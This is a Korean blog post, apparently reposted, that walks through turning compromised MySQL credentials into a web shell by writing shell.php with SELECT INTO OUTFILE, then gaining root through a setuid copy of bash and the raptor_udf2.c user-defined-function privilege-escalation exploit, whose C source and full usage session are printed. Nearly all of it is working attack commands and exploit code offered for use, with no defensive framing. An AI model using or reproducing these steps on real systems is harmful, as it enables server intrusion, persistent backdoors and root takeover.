이런 짓을 실제로 쓸떄가 있나요?
-_-; 본인 같은 경우는 실제로 쓸떄가 있었다.
어째든 쓸 경우는
mysql 계정은 획득 했지만,
shell은 얻지 못했을 경우 사용하는 것 이다. (*__)

1. 대상 mysql 서버에 접속을 합니다.

Administrator>mysql -h dualexample.com -u dual -p
Enter password: ************

Welcome to the MySQL monitor. Commands end with ; or g.
Your MySQL connection id is 1101 to server version: 4.1.15-Debian_1-log

Type 'help;' or 'h' for help. Type 'c' to clear the buffer.

mysql>

2. 사용 가능한 데이터 베이스를 선택합니다.

mysql> show databases;
+----------+
| Database |
+----------+
| dual |
+----------+
1 row in set (0.26 sec)

mysql> use dual;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

mysql> show tables;
+--------------------------+
| Tables_in_dual |
+--------------------------+
0 rows in set (0.00 sec)


3. 테이블을 하나 만듭니다.

mysql> create table DualExploit(exploit char(500) not null);
Query OK, 0 rows affected, 1 warning (0.02 sec)

mysql> show tables;

+--------------------------+
| Tables_in_dual |
+--------------------------+
| DualExploit |
+--------------------------+
1 rows in set (0.00 sec)

4. 이 테이블의 값을 세팅 합니다.

mysql> insert into DualExploit values('');
Query OK, 1 row affected (0.00 sec)

mysql> select * from DualExploit;
+------------------+
| exploit |
+------------------+
| |
+------------------+
1 row in set (0.01 sec)

5. 파일로 OUT 시킵니다.

mysql> select * from DualExploit INTO
OUTFILE '~/public_html/shell.php';

Query OK, 1 row affected (0.00 sec)

6. 정상적으로 생성되었는지 확인합니다.

http://dualexample.com/shell.php?cmd=id

-> nobody nobody nobody

----------------------------------------------
이번 글 에서는 mysql을 이용하여
웹쉘을 생성해서 대상 서버에서 쉘을 획득하는 방법에 대해서
다루어 보았는데요,
웹쉘을 획득한 후,
cp /bin/bash /tmp/myshell
chmod 6777 /tmp/myshell
을 실행시키도록 파일을 만들어놓고,
이것을 웹쉘에서 실행 시키면,
Root를 얻기도 하지요. :)

-----------------------------------------
//MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit
/ * "UDFs should have at least one symbol defined in addition to the xxx symbol
* that corresponds to the main xxx() function. These auxiliary symbols
* correspond to the xxx_init(), xxx_deinit(), xxx_reset(), xxx_clear(), and
* xxx_add() functions". -- User Defined Functions Security Precautions
*
* Usage:
* $ id
* uid=500(raptor) gid=500(raptor) groups=500(raptor)
* $ gcc -g -c raptor_udf2.c
* $ gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
* $ mysql -u root -p
* Enter password:
* [...]
* mysql> use mysql;
* mysql> create table foo(line blob);
* mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
* mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
* mysql> create function do_system returns integer soname 'raptor_udf2.so';
* mysql> select * from mysql.func;
* +-----------+-----+----------------+----------+
* | name | ret | dl | type |
* +-----------+-----+----------------+----------+
* | do_system | 2 | raptor_udf2.so | function |
* +-----------+-----+----------------+----------+
* mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
* mysql> ! sh
* sh-2.05b$ cat /tmp/out
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
* [...]
*/

#include <stdio.h>
#include <stdlib.h>

enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};

typedef struct st_udf_args {
unsigned int arg_count; // number of arguments
enum Item_result *arg_type; // pointer to item_result
char **args; // pointer to arguments
unsigned long *lengths; // length of string args
char *maybe_null; // 1 for maybe_null args
} UDF_ARGS;

typedef struct st_udf_init {
char maybe_null; // 1 if func can return NULL
unsigned int decimals; // for real functions
unsigned long max_length; // for string functions
char *ptr; // free ptr for func data
char const_item; // 0 if result is constant
} UDF_INIT;

int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
if (args->arg_count != 1)
return(0);

system(args->args[0]);

return(0);
}

char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
return(0);
}

---------------------------------------------- # dualpage.muz.ro [2008-01-24]

'기본 카테고리' 카테고리의 다른 글

EasyGTK를 이용한 GUI 프로그래밍  (0) 2009.05.19
[본문스크랩] IPTABLES - DDoS | 5.DDOS방어 서버  (0) 2009.05.18
atl/wtl 속성강좌  (0) 2009.04.25
atl  (0) 2009.04.25
우분투에 php, jsp 개발환경 만들기  (0) 2009.04.22

+ Recent posts